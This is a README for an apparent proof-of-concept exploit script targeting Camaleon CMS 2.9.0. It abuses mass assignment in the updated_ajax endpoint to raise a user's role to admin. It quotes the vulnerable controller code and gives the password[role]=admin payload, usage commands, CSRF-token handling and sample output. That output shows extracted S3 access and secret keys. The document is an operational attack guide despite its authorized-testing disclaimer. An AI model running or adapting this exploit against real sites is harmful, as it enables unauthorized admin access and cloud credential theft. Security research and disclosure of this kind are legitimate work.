
Authenticated privilege escalation in Camaleon CMS v2.9.0 via improper parameter handling in the updated_ajax endpoint.
Target: Camaleon CMS
v2.9.0
Type: Authenticated privilege escalation via mass-assignment inupdated_ajax(role field)
Extras: Optional extraction of S3 configuration from the admin settings page (if the authenticated user can access it after escalation)
This repository contains a Python proof-of-concept script that:
/admin/profile/edit.updated_ajax endpoint to update password[...] fields and abuse permit! to set password[role]=admin.-e) extracts S3 configuration values from /admin/settings/site.-r) reverts the role back to its original value after the run.This behavior matches the insecure mass-assignment pattern described in the related advisory:
The controller action below updates a user with permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
Because permit! allows all keys under password, an attacker can send:
password[password]password[password_confirmation]password[role]=adminand the application will accept it, upgrading the user’s role.
admin.requestsInstall dependency:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
The script checks the returned HTML for an /admin/logout link after the login POST.
If the logout link is present, the session is considered authenticated.
Camaleon uses Rails-style CSRF. You’ll typically see tokens in two common places:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">The PoC fetches the meta csrf-token from /admin/profile/edit and uses it in:
authenticity_token=<token>X-CSRF-Token: <token>This code is provided for authorized security testing and educational purposes only (e.g., labs, CTFs, and environments where you have explicit permission).
Do not use it against systems you do not own or have permission to test.
| Flag | Description |
|---|
-u, --url | Base URL (e.g., http://alienone.in) |
-U, --username | Valid username |
-P, --password | Valid password |
--newpass | Password value sent in the update request (default: test) |
-e, --extract | Extract S3 config from settings page |
-r, --revert | Revert role back to the original role after escalation |